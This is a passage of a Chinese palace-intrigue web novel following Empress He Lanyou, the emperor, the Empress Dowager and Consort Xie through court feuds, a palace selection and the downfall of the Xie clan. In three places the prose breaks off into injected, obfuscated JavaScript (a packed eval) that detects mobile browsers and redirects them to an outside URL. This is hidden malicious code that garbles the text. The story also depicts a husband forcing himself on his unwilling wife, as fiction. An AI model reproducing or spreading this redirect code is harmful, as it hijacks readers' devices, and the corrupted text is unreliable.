独坐在最后方的贺选侍,面色颓败,心里又是惊惶又是对前景的担忧。祖母被夺了诰命,母亲因为长房和贺兰悠长年累月使绊子,至今没有诰命,日后,祖母再不能带着母亲进宫,寻由头见她。 而且祖母和二房所剩的银钱有数,日后还能贴补她多少? 早知今日,以往收到亲人给的银钱,就该积攒下来,而不是四处手面很大的打赏,以至于眼下清点一番,发现手中不过四百多两银钱,又能支撑多久? 真正的屋漏偏逢连夜雨。 到了辰正,贺兰悠闲闲步入正殿,嫔妃请安后,宣布一事:“昨日皇上知会本宫,将答允礼部再三提出的选秀谏言,一两日开始张罗,大抵到秋日,便有新人进宫与我们作伴。” 众人闻言,神色各异。 谢德妃面露焦虑,“早先太后娘娘屡次提及,要从世家名门中筛选数名佳丽进宫,又何必大张旗鼓地选秀?” 贺兰悠清冷了神色,“太后拟定的名单,本宫知晓,无一不是频频随着主母进宫谄媚之人。太后娘娘想添人解闷儿,照那名单添置女官便是,皇上的嫔妃却容不得谁一再自作主张。皇宫是什么地方?”语声微顿,目光刀子似的刮过谢德妃与贺选侍,“岂可一再纵着不知所谓的货色混进来。” 贺选侍觉得,自己这倒霉劲儿也是没谁了。 谢德妃羞愤至极,心里想的是由着性子呛皇后几句,然而对上皇后那幽凉视线,确知自己真的不敢挑战对方的坏脾性。 再如何,也要到有宠之后,才好给皇后添堵,不然岂不是自找罪受。 有宠……谢德妃心念一转,忽然意识到,选秀大抵还意味着皇上会陆续宠幸嫔妃,可她昨日却被撤了绿头牌。 谢德妃不顾难堪,起身对贺兰悠盈盈下拜,“臣妾昨日不曾前来请安,是因家中出了莫大的祸事,急火攻心起不得身,绝无半分不敬之意。皇后娘娘,能否因谢家变故宽容臣妾一次?臣妾愿意日夜抄写经书、宫规,抵消昨日的惩戒。” “德妃娘娘失分寸了,”杨嫔徐徐接话,“皇后娘娘母仪天下,岂可朝令夕改?德妃娘娘请安坏规矩不是一次两次了,况且身在宫中,也没道理记挂着谢家的事。” “杨嫔姐姐说的是,”余美人巧笑嫣然,“既已身在宫中,怎么还拿母家说事?说到底,若实在记挂,德妃娘娘大可以请旨归宁。” 林丽妃百上加斤:“太后娘娘心疼德妃,宫中无人不知。眼下太后娘娘身子不适,不肯见皇后娘娘和寻常嫔妃,少不得德妃床前尽孝,你若是日夜抄这抄那,谁去侍疾?” 三女子你唱我和,直接把个谢德妃堵得再说不出一个字。 这种戏,贺兰悠倒是喜欢看的,只淡淡地给了谢德妃一句:“规矩已定,便不可废。” 请安后,昨日得了银两的六名嫔妃分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850173|175817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别留下礼物,不外乎各自珍藏的字画绣品摆件,贺兰悠赏看一番,命宫人妥当收入库房。 朝宁、暮安每日都要到正殿来三两次,吵着见娘亲。 到午后,太医给贺兰悠请脉,确定她这次发热已经好了。 听得孩子的语声时,贺兰悠立刻迎出去。 “娘亲——” “娘亲!” 两只团子齐齐往她怀里扑,小脸儿笑成了最美的花。 贺兰悠蹲下,将孩子一并揽在臂弯,柔柔地说话。 认真论起来,她是挺冷血的人,孩子不在跟前时,回顾以往种种,展望前路艰辛,偶尔深悔怀胎生产,只是,每当看到孩子,一颗心就会柔软得一塌糊涂,确信为了儿女,付出再多亦值得。 “娘亲,摘荷花。”暮安说。 朝宁则说:“娘亲,去坐船。” 贺兰悠莞尔,“横竖要到湖上才行,走着,娘亲陪你们坐船游湖。”说着抱起朝宁,示意星玉抱着暮安。 龙凤胎拍着小手,欢呼连连。 昭阳宫里的花园颇具规模,亭台楼阁烟水画桥奇花异草俱全,内外命妇一起游玩都可尽兴,对于龙凤胎而言,是个过大的玩不遍的乐园。 两个小家伙到了船上,徜徉在湖中,便不肯上岸了,一通稚嫩可爱的耍赖。 贺兰悠故意逗了两个一阵,摘了诸多荷花荷叶,带他们去了湖心不大的水榭。 置身水榭中,凉风习习,近看荷花远看碧水,煞是惬意。 贺兰悠修剪荷花枝、清洗荷叶,都让孩子参与,玩闹到黄昏,母子三个享用荷花宴,哪个也吃不了多少,只是爱这份应景儿的花红热闹。 乘船返回岸上时,暮安在星玉臂弯间陷入沉睡。 余光瞥见玄色的挺拔身影,贺兰悠目光一滞。 也不知萧灼已观望了多久。此时的他,神色沉郁,一身寂寥。 “爹爹!”朝宁顾及弟弟,轻声唤着,眉开眼笑。 萧灼逸出温柔的笑,对女儿招一招手,待得船靠岸,将她接过。一大一小,一路轻言细语。 夫妻二人先送孩子回永寿殿,盘桓多时,哄得朝宁也入睡了,并肩回往正殿期间,贺兰悠几度欲言又止。 到了寝殿,她终是忍不住问:“昨日皇上不是说了,今日起,开始翻牌子让嫔妃侍寝?” 他对她而言,现今只是个分外糟心的东西,属实不想应付。况且她体弱,这两年夏日鲜少觉得热,室内不放冰,而他来了就要放上冰山,她则要随着换盖厚一些的毯子。 萧灼没好气,“我想睡哪儿就睡哪儿。” 贺兰悠不再理他,自顾自去泡药浴,带着淡淡清苦味道回到寝殿,萧灼正倚着床头看书。 上了床,贺兰悠与他拉开足够宽的距离,背对他躺下,阖了眼睑,放空心绪。陪孩子玩儿固然开心,却也不少耗费体力,真乏了。 蓦然醒来,是因身形被萧灼揽入怀中。 贺兰悠老实不客气地推他一把,挪回自己的位置。 萧灼没像以前那样作罢,反倒欺身过来,强行将她拥入怀中,“碰不得你了?” 贺兰悠恼火于清梦被扰,再难入眠,却也不想为床笫间的事起争执,和声道:“臣妾不宜侍寝,皇上是知道的。” “生完孩子三年了还不宜侍寝?你把谁当傻子糊弄呢?” “……”贺兰悠心想,有必要明明白白地说出“我烦死了你,一想到你碰我就想阉了你”么? 又不能和离,干嘛不稀里糊涂凑合着过呢? 5. 05 “怎么不说话?”很明显,比起贺兰悠睡前,萧灼更加气儿不顺了。 “皇上以为是怎样,就是怎样。”贺兰悠含糊其辞,揉了揉眼睛,“明日不是有早朝么?睡吧。” 萧灼将她拥紧了些,猝不及防地吻一吻她的唇,“不想睡,怎么办?” 贺兰悠头疼不已。 “我有时怀疑,你从未喜欢过我。”他说。 贺兰悠耐着性子应对:“喜欢过。彼时的皇上……” “好好儿说话。”萧灼咬了她的唇一口,“什么皇上皇下的。” 贺兰悠想给他一巴掌,可全凭动手掐架的话,尤其还是在床上,八个她也对付不了一个他。 萧灼心情转好,语气很柔和:“接着说。” 贺兰悠说不出什么新意,“长得特别好看,手也好看,一度我常没完没了地端详你,想找出瑕疵,根本找不到。”她扬了扬唇角,“两个孩子都有几分随了你,很漂亮。” 萧灼也无声地笑了,“更像你,因为更像你,才是最玉雪可爱的孩子。” 贺兰悠最喜欢他的一点,只有自己知道。 他的声音醇厚有磁性,好听得过了分。 迷醉于一个人的声音的时光,聆听成为生之乐事。这是独属于她的秘密。 贺兰悠岔开话题:“心绪不佳?” “嗯,等着贺临回京,不知明日又听闻哪个京官毙命。” 贺兰悠笑。自作孽,怪得了谁?不会再有官员横死,却没必要说出来让他心安。 “最心烦的,是你这孽障。”萧灼把玩着她柔韧如缎子的长发,“冷了我三年,还不算完。” “明明是病了三年,仍无痊愈可期。” “最重的病在心里。”萧灼吻着她的发丝,额角,柔声哄她,“别置气了,我们像以前一样,好么?总不亲近,情分就真的耗没了。” 这时候呛着他,他不定磨烦到什么时候,贺兰悠驾轻就熟地用言辞拖延:“好,可你好歹过几……” 她想说好歹过几日再说,现下刚见好,实在没那份心力。但她如何也没料到,他不容她说完话,便以吻封缄,热切地纠缠住她唇舌。 贺兰悠睁大眼睛,脑筋有一瞬卡了壳。 自定情到如今,五年了,他从不曾勉强过她,到如今居然跟她来这一手。 他也是真不把她当外人,彻底不要脸面了。 回过神来,贺兰悠不抗拒也不回应,想的是他总不至于对一块会喘气儿的木头有兴致。 然而她用过的奏效的法子,这一晚通通没用了。 萧灼吻着她,手也不闲着。 须臾间,贺兰悠身上的毯子落到别处,衣带散开。 独留的一盏宫灯柔和的光影中,身形翻转,萧灼悬身,敛目看着那漂亮至极的腰身,眸光中有着迷恋、灼热。 他的兰悠,无一处不是美到极致。 他托起她面颊,再度索吻,手再度落下去,显得急切。 贺兰悠已经恼了,含糊地呵斥他:“你做什么?都说了不行。” 不过是无用功。 身上一轻,小衣的系带散开来。 随后,他的气息,他的灼热,似是无处不在,彻然将她萦绕。 若是两心相悦,此时定是情浓意动,搁在当下,对贺兰悠来说便是折磨。 做了皇后都改不掉坏脾气的人,肯委屈自己才是见了鬼。 贺兰悠咬住他的唇,一腿弯曲,发力用膝盖撞向他。 下一刻,萧灼“嘶”地一声,高大的身形完全覆盖住她身形,屏息片刻,低喘着将俊脸埋在她肩颈。 能开口说话时,他咬牙切齿的:“贺兰悠,你什么时候没品到了这份儿上?” 于他而言,是简直低三下四地求着她温存,她倒好,恨不得废了他。 贺兰悠却震惊了:“你连这种小招数都避不开?” 他自幼习武,身手一流,她脑袋被门夹了也不会指望自己伤到他,来那么一下,只是要迫使他闪躲的同时,发现她已濒临翻脸。 “我什么时候防过你?”萧灼快气疯了,“一等一的高门出身,你跟我用这种上不了台面的路数?”语毕,咬住她肩头一块肌肤。 不轻不重的,稍微有些疼,贺兰悠又多少有点儿心虚,忍着没动,却忍不住不辩驳:“跟出身无关,知道这一招的人不知道多少,而且我听说,有人专门用手练这一招呢。” 把萧灼气得都顾不上咬她泄愤了,“闭嘴!” “……”贺兰悠真觉得冤枉。原本她睡得好好儿的,连说梦话的毛病都没有,谁叫他胡折腾来着? 萧灼皱着眉,气息还是有些不匀。 贺兰悠没想到,自己现在这小身板儿,能让他疼得属实不轻,迟疑着跟他商量:“要不然,唤太医过来?” 萧灼瞪她一眼,侧躺在她身侧,手势稍显粗鲁地扯过毯子给她盖上,没好气地把人揽到怀里,“睡觉!” 贺兰悠老实地“哦”了一声。 不知过了多久,萧灼轻轻地笑起来,满带着无奈,手指没入她发间,将她长发揉乱,“挺尸呢?搂着我。” 贺兰悠默了默,手臂搭到他腰际,轻拍一下他的背,好意提醒:“下次找个乖顺的嫔妃。” “……气死我得了。”他叹息,到底是没再跟她较劲。 # 早间,服侍皇后用膳的时候,鸿嫣满脸困惑,悄声说:“皇上走之前,盯了您好一会儿,表情奇奇怪怪的,好像又气又笑又失望。” 事情讲述起来也简单,问题是真不长脸,贺兰悠嗯一声了事。 至于鸿嫣观察到的萧灼的失望,太正常了。 他的确是没防她,才出了一场闹剧。皇室中金尊玉贵二十多年的男子,是有天大的底气相信,没有任何人敢伤他发肤分毫。 贺兰悠的结论是,希望他吃一堑长一智,再生绮念时,懂得去找和顺的女子。 日光之下无新事,这一天仍旧从嫔妃请安开始。 谢德妃宫里的掌事太监提早来告假,说他家娘娘天没亮就去了慈安宫侍疾,今日不能来给皇后请安。 贺兰悠没说什么。 嫔妃散了之后,林丽妃、方美人留在昭阳宫,与贺兰悠一起陪着龙凤胎。 三岁的小孩子,用不着学什么,该懂的事也懂了一点点,正是最可爱的时候,林丽妃、方美人的喜爱是由衷的。 瞧着龙凤胎玩儿做得特别小巧精致的文房四宝时,林丽妃提起谢德妃:“看得出来,那位是真急了,一准儿是求她姑母给她说情,好歹把绿头牌挂上。” 贺兰悠颔首,“这份儿心大,本宫佩服得紧。” “亲爹还没下葬呢,最着急的却是侍寝。”方美人摇了摇头,也觉好笑,“可不就是寻常人都要佩服得五体投地的主儿。” “只是,”林丽妃甜美的容色一整,轻声提醒贺兰悠,“太后对娘娘的恨意、怨气重得很,德妃小打小闹的事她未见得上心,却一定在绞尽脑汁地琢磨怎么让娘娘不好过。” “本宫的软肋都在明面儿上,随她想辙。”贺兰悠予以安抚的一笑,“你们不用担心。” 知晓她有所防范,两女子也就真踏实下来。 # 萧灼忙碌到巳时,才腾出时间喝一盏茶。 想到昨夜那个混帐干的混账事儿,他仍是恼火的同时又想笑。 如此混不吝的皇后,怕是前无古人后无来者。 只不过,这样也好过已维持太久的不咸不淡不温不火。 他怎么可能为那点事跟她记仇?她什么性情,他最了解。 襄助他争储夺位的女子,除非傻了,才会认为她是善茬。 萧灼正满脑子都是结发之妻的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850174|175817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常久福进殿来禀:“德妃娘娘求见,带了亲手做的羹汤。” “不见。”萧灼想也不想。 常久福称是出去回话,旋踵折回,“德妃娘娘不肯走,说有关皇后娘娘和她的事禀明皇上。” 萧灼问:“皇后怎么她了?”妻子霸道的一个好处,是他从来不担心她受欺负。 “没有啊。”常久福边想边道,“不过是先前德妃娘娘坏了请安的规矩,皇后娘娘照着定的条例责罚,其他的,奴才未曾听说。” “去跟她说,后宫的事皇后做主,朕没工夫听她说三道四。再有,无大事不准来两仪殿。” “是!”常久福乐颠颠地再次出去传话。 萧灼瞥他背影一眼,觉得这人也是奇了,怕兰悠的时候,比耗子见了猫的情形更甚,平时大事小情上,又是掩饰不了地偏向皇后——是什么时候,被兰悠吓出病来了? 临近正午,萧灼正想着是自己回昭阳宫,还是唤妻儿过来一起用膳,太后和谢德妃来了。 萧灼蹙了蹙眉,却没法子拒之门外。 太后扶着谢德妃的手走进来,带着些许病容,眉宇间凝着怒意。 萧灼不动声色,起身行礼问安,回身落座后道:“今日朝政繁忙,朕本想傍晚前去请安,不想您过来了,有要紧事?” 这人哪怕在她这太后面前,也是一口一个朕,而只要到了贺兰悠面前,就不知晓自己是谁了。太后腹诽着,暂且按下心头蹿升的小火苗,叹着气说起母族的事:“谢家国公不在了,按理说该世子袭爵,可世子双手俱废,别说为朝廷效力,照顾自身起居都成了难事,这可如何是好?” 谢德妃侍立在太后身侧,低下头,用帕子擦拭眼角。 萧灼是公事公办的态度:“谢家议定之后递折子便是,礼部自会核实商讨,帮谢家选择顶门立户之人。” “这有什么好核实商讨的?谢家世子不成了,接替他的自然是他胞弟。”太后语气哀怨,“先前贺家出那档子糊涂官司时,皇上不就非常体恤皇后,人情为先?” “谢家父子遇袭,查清原委才是当务之急。事有轻重的道理,通透如您,自然明白。”萧灼笑微微的,“真凶落网之前,谁都有嫌疑,若朕急着册封下一位谢国公,刑部、礼部都不会答应。” 太后将一双眼睁得老大,“皇上这是何意?” “凡事要照章程来,您明白这一点即可。”萧灼一摆手,意思是这话题到此为止,“可还有别的事?” 他暗示谢家父子可能死于自家人之手的话,着实把太后气着了,眼泪一颗颗掉下来。 在宫中的女子,少有不会做戏的,太后借着那些眼泪,告起皇后的状来:“哀家真是命苦啊,一日皇后的福没享过也罢了,今日还被她欺到头上,肆意凌辱……” “常久福,”皇帝语声不高不低,“可打听清楚了?” 常久福走到皇帝身侧,躬着腰道:“回皇上,方才太后娘娘要看皇子、公主,皇后娘娘说不敢应承,皇上晓得原由。 “太后娘娘亲自去了昭阳宫,要带皇子、公主到慈安宫,皇后娘娘请太后娘娘先问皇上一声,说她要是自作主张应下,皇上大抵会动怒。” “听听,皇后说的都是什么跟什么?”太后拭去眼泪,寒着脸站起身,走到龙书案前,居高临下地逼视着皇帝,“哀家要见自己的皇孙皇孙女,皇后已经推拒了三年之久,以往念着她缠绵病榻,皇上也一再规劝,哀家才一忍再忍,如今她却愈发张狂起来,怎样大逆不道的话都敢说。皇上这次要是再不严惩皇后,哀家无论如何都不答应!” 萧灼唇畔笑意不减,只是添了些许为难,“您的确不宜见朝宁和暮安,以往朕与皇后不想您过分自责,才百般推诿,不曾告知真相。” “自责?哀家自责什么?”太后觉得皇帝和皇后一起发高热糊涂了,要不然,怎么都不说人话了? 6. 06 萧灼微声交代常久福一句。 常久福称是,快步去了内殿。 “您稍安勿躁。”萧灼温和地望着太后,打手势请她落座。 太后哪里坐得下,来回踱着步子说车轱辘话:“那些莫名其妙的话,到底因何而起?哀家为何不能见孙儿孙女?” 毋庸置疑,太后比任何人都清楚,只要贺兰悠不是绝对被动的处境,就不会让慈安宫的任何人接近龙凤胎。谁叫她们婆媳结仇,早在尚是亲王的萧灼与第一美人贺兰悠成婚之际呢? 之前长达三年,龙凤胎对于太后而言,最多能不近不远看上一眼。 太后想在人前做场面功夫,要抱一下哄一阵的时候,都会被帝后以各种理由婉拒。 因着下毒手险些让贺兰悠生产时丧命的缘故,太后总归有些底气不足,生怕贺兰悠口无遮拦地当众说些什么,因而每次都是他们说什么就顺着台阶下,不曾坚持。久而久之,不亲近孙辈成了她自己默认的常态。 到了如今,母族风雨飘摇,贺兰悠不但报了往昔的仇,还索要了后果严重格外血腥的利钱,太后哪里忍得了。正不知如何才能泄恨,谢德妃前去侍疾,提醒太后不妨多亲近皇子公主。 太后自是稍一想便知自己默认的常态违反人情世故,认定只要言行强势,便可拿捏住贺兰悠的软肋,从而让她低头,答应自己给予谢家种种好处的条件。 哪成想,到了昭阳宫,贺兰悠客客气气地见了她,也看似客客气气实则大逆不道地把她往皇帝这边撵。 太后想着中宫自寻死路,为何不趁势把事情闹到两仪殿?结果却是这样…… 她真愤恨得要跳脚了。 萧灼无视掉团团转的太后和她的聒噪,取过奏折和内阁提供的节略,继续批折子。 贺兰悠防患于未然的路数的本质,跟睁着眼睛胡说八道没区别,偏还要做得一本正经。 有什么法子? 太后对他的朝宁、暮安绝对存不了好心,他早已料到这一日,自然心甘情愿地与妻子联手做戏。 被晾在一旁的谢德妃,视线时时定格在萧灼的俊脸上。 她对这男子一见倾心,加之出身显赫,以为自己是他结发之妻的不二人选,实际经历给她的,却不亚于一道道惊天霹雳。 那一年的贺兰悠,以倾国之貌、惊才绝艳名动天下,引得各路才俊争相求娶。 他们只在意贺兰悠的才或貌,不在乎她的张扬跋扈狠辣。 最终,全京城与女德最不搭边儿的闺秀,成了全京城最出色的萧灼的结发妻。 二人大婚之前,萧灼为了贺兰悠所做种种,全是让任何女子狂喜、铭记一生的事。 要说恨,爱慕萧灼的女子,哪一个能不恨她入骨? 谢德妃只恨自己命不好,始终不能高贺兰悠一头,总也寻不到亲手折辱践踏其尊严的机会。 可不就是命不好? 亲姑母是太后,却是妥妥的废物,当初能算计得贺兰悠九死一生,不过是得了皇后刚入主中宫、慈安宫能控制宫中各方人手的便。换如今再试试?怕是三两下就给贺兰悠弄死了。 瞧着萧灼那神色,今日的事,赢家大抵又是贺兰悠。 如果太后连亲近孙辈的权利都失去,还能有什么牵制贺兰悠的事由? 谢德妃低首垂眸,苦苦思量。 常久福折回来,呈上两份签文。 萧灼接过,转手交给太后,解释道:“朝宁、暮安出生后,周岁前体弱,兰悠亦多病,朕寝食难安,曾携皇后到护国寺、白云观求签,请空明大师、叶天师算过皇室中人的命格,这是两位高人为您命格做的占卜的结果。” 太后隐隐猜到了什么,暗呼一声糟。 谢德妃还没反应过来,悄然走到太后身侧,凑过去看签文。 萧灼吩咐常久福:“当时你也在场,仔细与太后说说。” 常久福称是,转向太后,费了点时间,用格外委婉的言辞告诉太后:空明大师和叶天师这样的高人测算的结果一致,您的命格很不吉利,克皇帝皇后也罢了,还是皇子公主的头号克星。 “……皇上与皇后娘娘为着孝道,不去忌讳这些,但皇子与公主还小,行事不得不谨慎。 “依着两位得道高人的意思,是请太后迁居行宫,可免帝后及儿女诸多磨难,但是皇后娘娘说那毕竟不是您的错,谁也不会想有那种命格,求两位高人指点其他化解的法子。 “两位高人便赠了皇子公主趋吉避凶的法器、平安符,再三叮嘱,尽量避免太后娘娘与孙辈接触,毕竟皇宫这么大,宫室之间相隔甚远,祖孙之间远着些,寻常不会出什么祸事。 “皇上与皇后娘娘是真的怕您多思多虑,才这么久也不曾提及……” 常久福的言语,太后起先还听得分明,渐渐地,只觉得那声音似是不绝于耳的噪声,令她烦躁得恨不得一巴掌拍死他。 奸诈得简直没了人样儿的帝后,居然联手给她挖了这么大一个坑,把她变成了克这个克那个的灾星! 空明那个胖和尚,叶天师那个牛鼻子老道,近三年来没少见她,竟是一丝口风都没露过。 这些杀千刀的混帐东西! 因着过度的愤怒,太后身形簌簌发抖。 一旁的谢德妃听完,身形不自主地晃了晃,面上的血色褪了个干净。太后这个靠山,越来越像不中用的花架子。 . 林丽妃之母递牌子进宫,先到昭阳宫请安,贺兰悠没见,赏了些茶点,让丽妃直接带母亲回宫说体己话去。 “想不想念亲人?”贺兰悠问方美人。美人见亲人比较难,需得着意安排。 方美人毫不犹豫地摇头,“一窝卖女求荣的东西,想来做什么?” 贺兰悠失笑,“只是知会你一声,想要什么只管说。” 方美人目露感激,“娘娘已经关照嫔妾太多,进宫后,嫔妾一直过得心满意足。” “当初本宫失算了,没料到你和丽妃进宫的事,听说你险些寻短见,已经是在东宫相见之时。”贺兰悠轻抚一下方美人的手臂,眼中有歉意。 “彼时皇室腥风血雨,娘娘又身怀六甲,如何顾及到每一个亲友?”方美人反过来宽慰,“娘娘可再不要说这样的话了,归根结底是嫔妾和丽妃迟钝,事先根本不曾察觉亲人已经把自己卖了。” “好,不说,横竖说什么想什么也得往下过。” 朝宁、暮安惯常吃不上午间的正顿饭,总是巳时左右吃些蛋羹牛乳就困了,大人该用膳了,他们也提早开始午睡了。今日亦然。 贴身照顾龙凤胎的枫林、霜叶,一人抱着一个酣睡的小人儿无声行礼,回了永寿殿。 贺兰悠和方美人商量着点了几道想吃的菜,转到窗前闲话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850175|175817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方美人记挂着谢家姑侄两个:“太后去了这么久,两仪殿倒是也没人来请娘娘过去。” 贺兰悠摇着折扇,一脸的风轻云淡,“闹不起来,用孩子做文章的路早断了。”将早做好的准备说给对方听。 方美人微讶,“这是能让她憋屈一辈子的事,怎么这才捅出来?” “先前她想亲近孩子的时候,随意找个借口便能挡回去,她没坚持过。今日下定决心了,也晚了。” 方美人释然而笑,“难怪。当初说通那两位得道高人,也不容易吧?” 贺兰悠摇了摇头,娓娓道:“根本不用花心思。 “拜访时揪着皇上一起,他们哪有不应的余地?就算自己真得了大道,满门的徒子徒孙却未见得有那份机缘,还得靠寺庙道观的香火钱维生。 “最明显的一个好处是,帮了帝后的忙,宫里但凡有用得到僧人道人的事,就会请他们前来;他们不肯,多的是想要那份殊荣的。宫里的钱好赚难赚放一边,可只要有本事长期赚,香客便会趋之若鹜。” 方美人听了,逸出动听之至的笑声,“凡事让娘娘一说,便是那明明带着仙气儿的,也要染足烟火气。”真正的意思是,一番话要是让空明、叶天师听到,情何以堪? 贺兰悠也笑,“有本事就别收香油钱。” 方美人笑够了,深思起谢家的事,轻声道:“嫔妾怎么觉着,娘娘存了除掉谢家的心?” 贺兰悠目露欣赏,“聪明。真庆幸,太后和谢德妃没你这份儿机敏,不然可有的头疼了。” “嫔妾恨不得与母家恩断义绝是真,另有些用得上的益友也是真,午后便传话出去,请他们观望着谢家动向,伺机而动。” 贺兰悠从善如流,“也好。”碍眼的墙,加力推一把的人越多越好。 至于萧灼那边,贺兰悠一丝顾虑也无。 事情明摆着,萧灼原本的打算,是用谢家制衡贺家,再一步步化解贺家的势力乃至铲除。 贺兰悠承认,横死的谢国公是块料,能凑合着用。可皇帝用他的代价是她父兄及至满门的生死,那还是省省为好。 对谢家、谢国公,贺兰悠当真花费过很多精力人力财力,斟酌出了很多反手回击制衡的策略。 当哥哥的生死成为萧灼一步棋的时候,贺兰悠激愤之下,看到一条捷径: 谢国公或许是用兵的料,但他到底在军中没有威信,不似贺家男儿一般,骤然殒命势必引发一段时间的军心躁动。 既然对大局没有妨碍,杀了不就得了?谢国公死的结果,只能是刑部锦衣卫白忙一阵,铁血男儿会否听说都未可知。 难不成留着谢国公,害得父兄陷入长年累月的水深火热? ——贺兰悠是这么想的,也这么做了。 如今谢家父子一死一残,完全不能指望,谢国公嫡出次子不学无术,家中再怎么想栽培也有心无力。 谢家已经完了。 萧灼第一时间就意识到了,不然不会那般恼怒,可再恼怒也得面对现实,料理自己一念之差弄出的烂摊子。 贺家动不了了,趁机让谢家倒台,对皇权也有诸多益处。 太后和谢德妃已经成了秋后的蚂蚱,只不知意识到了没有。 自然,贺兰悠也不会掉以轻心。前人给出的经验而言,秋后的蚂蚱也有结结实实蹦跶一阵的。 7. 07 两仪殿中,萧灼跟面色奇差的太后摆事实:“日后您切勿接近皇子公主,否则,皇后少不得将此事公之于众。朕的意思是,您好生安抚皇后,要不然,不论是何情形,皇后大抵都不会再帮您隐瞒。” 太后嘴角翕翕,半晌才怒道:“只凭两个人的占卜,就定了哀家的命格?” 萧灼慢悠悠提醒她:“无人不知,太后对空明大师推崇备至。” 太后噎了噎。帝后都不信佛又不信道,宫中各类法事素来循旧例行事,倒是她礼佛数十年,近几年常命人去请空明大师进宫讲经,空明已到了超然的地位,不能随叫随到,她便退而求其次,常碰面的是空明的师弟、徒弟。 思量片刻,太后索性混横不讲理了:“好,就当这是真的,哀家也不怕闹得天下皆知。既然哀家与皇后、皇后所生的儿女八字犯冲,那就请皇上下旨,命皇后携儿女住到行宫。总不能说,皇上不顾孝道,要哀家长年累月躲着谁不见。” 萧灼笑若春风,眸色却愈发深沉,“若如此,朝臣怕是要争论一番,孝道、子嗣何为重。况且,朕近年来也不安生,不如依着您的心思,携妻儿常居行宫。” 太后哽住,慢吞吞踱步一阵,总算冷静下来,落座喝了两口茶,道:“哀家知道,皇上有诸多不得已。也罢,打开天窗说亮话吧,皇上如能答应哀家两件事,哀家会择期迁居行宫,给你和妻儿一份心安。” “哪里有那么多非此即彼的事。”萧灼望一眼窗外,“该用午膳了,您要与朕一起么?” 竟然根本不接受谈条件。太后面色青红不定,难堪地起身,“哀家回宫了。” 萧灼起身送了几步。 回到慈安宫,太后压抑着的怒火爆发,摔了一地的茶具摆件。 跟过来的谢德妃瞧着,茫茫然不知所措,待得太后折腾得累了,跌坐在软塌上喘粗气,从宫人手里接过一盏茶,奉给太后,“姑母消消气,还需从长计议。” 太后将茶盏掼在矮几上,瞪了她一眼,迁怒道:“都是你这个没用的东西害的哀家!好端端的,怂恿哀家见那两个孽种做什么?” “是,都是侄女不好,可我初衷是好心啊。”谢德妃眼中泛起泪光,“谢家的前程,如今全系在我们身上,我是想着,法子不论高明与否,都要试一试。” “试出来的结果是这样,你满意了没有?”太后仍旧没有好声气,“倒是说说,眼下该如何是好?” 谢德妃权衡再三,硬着头皮道:“恐怕只能依皇上所言,安抚皇后一番,好歹别让她大肆宣扬命格的事。不论我们还是谢家,真的禁不住雪上加霜的事了。” 太后沉吟半晌,长长一叹,“皇后时时夜不安枕,等会儿你替哀家选一柄玉如意,差人送到昭阳宫,请皇后晚间过来用膳。” “是。”谢德妃打起精神,笑着建议,“晚膳您加几道菜,御膳房一定知晓皇后的喜好。” “嗯。” 姑侄两个想的不错,贺兰悠却不肯成全:回来复命的掌事太监说,皇后收下了玉如意,却没应晚间的邀约,给的理由是为了自身和儿女的太平光景,只能心领太后的美意。 这就开始说令人猜疑的话了,太后气结,又摔了一地东西。 * 林夫人带着次女林双进宫时已近正午,自然而然的,林丽妃留她们用膳。 皇后一向乐得给林丽妃做面子,这次赏了四道菜。 赏的菜里有一道味道清香的荷叶鸡,送膳的人着意提了一嘴:“用的荷叶是昨日皇后娘娘和皇子、公主殿下一起采摘的,御厨打理时分外精心,想来味道更佳。” 林夫人端肃的面容上有了些许笑意。 林双亦很欢喜,对长姐道:“皇后娘娘果然看重姐姐。” 林丽妃留意到妹妹眼中闪烁着贪婪、憧憬,心里不快,面上一笑置之。 母女三个用过饭,转到内殿说话。 林夫人道:“礼部得了皇上首肯,开始着手选秀之事了。不难猜出,皇上的心思不似以往,是好事。眼下后宫是何情形?可有得宠的嫔妃?” 她是严母,纵然女儿如今已在妃位,语气仍跟训话似的。 林丽妃言简意赅:“并无嫔妃侍寝。” “刚开始选秀就临幸嫔妃,总归会让皇后娘娘心里不舒坦,皇上顾及,倒也正常。不过,终归是迟早的事,你要好生准备着侍寝,闲来不妨跟皇后娘娘透露心迹,请她帮你跟皇上美言几句。” 林丽妃烦得不轻,敛目喝茶。 侍寝?出了先帝的孝期,她和方美人就各自说服了惯用的太医,编排了病症,又知会了敬事房——两人的绿头牌就没挂过。 要她们与手帕交的夫君发生肌肤之亲,哪怕那男子至尊至贵,也太挑战她们为人的底限。 